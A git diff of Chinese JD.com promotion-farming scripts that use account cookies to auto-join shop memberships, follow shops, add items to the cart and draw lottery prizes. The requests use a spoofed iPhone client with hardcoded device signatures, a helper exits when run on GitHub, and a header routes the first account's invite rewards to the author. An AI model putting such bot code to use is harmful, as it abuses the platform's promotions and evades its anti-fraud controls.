API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data) + console.log(`我的奖品:`) + let num = 0 + for(let i in data.data){ + let item = data.data[i] + if(item.value == '邀请好友') num++; + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*20}京豆`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + $.log(`=========== 你邀请了:${data.data.length}个`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function addSku() { + return new Promise(resolve => { + let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=2&taskValue=100022672084` + // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/saveTask + $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + console.log(`加购获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=23&taskValue=1000002701&shareUuid=${$.shareUuid}` + // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/followShop + $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + if(data.data.beanNumMember){ + msg += ` 额外获得:${data.data.beanNumMember}京豆` + } + console.log(`关注获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` + // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/startDraw + $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + data = $.toObj(data); + if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data && data.data || ''); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + + +function getWxCommonInfoToken () { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'Referer':'https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + + +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=69&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=26c65494e1732271943c1cec96ced252&st=1628051036003&sv=110&uemps=0-0&uts=0f31TVRjBStX5bTSbfg6pAhO2Wmg5ZK/rd1Af7H%2Bi%2BZ57hF33eg9bjdFRWz2rOIRuVhFImiKmG2vw8nM4uOtRRc9fvdCe13ezfdPVMYhKK7KQSWbxLEJZFKRem1GFn3BfgEQ1DXiPp6fqhwSq6NBqOpTBpN3SC1LQUgnKnZiyXJxrgNb5mAphEpeEzd9qwpoq1BXGls%2Bq8D8EUvPXXr%2B%2BQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.token); + } + }) + }) +} + +function getMyPing() { + //await $.wait(20) + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=1000002701&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':'https://lzdz1-isv.isvjcloud.com/customer/getMyPing', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getHtml() { + //await $.wait(20) + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=1000002701&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=c225ad5922cf4ac8b4a68fd37f486088&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function drawContent() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, + body: `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.count === 0 && data.result){ + $.attrTouXiang = data.data.yunMidImageUrl + != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, + body: `activityId=c225ad5922cf4ac8b4a68fd37f486088&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data); + $.followShop = data.data.followShop.allStatus + $.addSku = data.data.addSku.allStatus + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data.actorUuid); + } + }) + }) +} + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Host": "lzdz1-isv.isvjcloud.com", + "Accept": "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "Connection": "keep-alive", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard43.js b/backUp/gua_opencard43.js new file mode 100644 index 0000000..a8843a2 --- /dev/null +++ b/backUp/gua_opencard43.js @@ -0,0 +1,144 @@ +/* +10.11~10.26 惠聚京东 好物连连 [gua_opencard43.js] +新增开卡脚本 (脚本已加密 +一次性脚本 + +1.邀请一人20豆 +2.开7张 成功开1张 获得1次抽奖 + 抽奖可能获得5/666京豆 +3.关注5豆 +4.加购0京豆 1次游戏机会 + (默认不加购 如需加购请设置环境变量[guaopencard_addSku43]为"true" +5.浏览商品0豆 2次游戏机会 + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard43="true" +每个账号之间延迟 100=延迟100秒 0=延迟0秒会使用每3个账号延迟60秒 +guaopenwait_All 所有 +guaopenwait43="0" + + +All变量适用 +———————————————— +入口:[ 10.11~10.26 惠聚京东 好物连连 (https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity?activityId=llk20211011&shareUuid=4fd72b2ca1a14e75a7b5cb57e0e9d91f)] + +请求太频繁会被黑ip +过10分钟再执行 + +============Quantumultx=============== +[task_local] +#10.11~10.26 惠聚京东 好物连连 +47 4 11-26 10 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard43.js, tag=10.11~10.26 惠聚京东 好物连连, enabled=true + 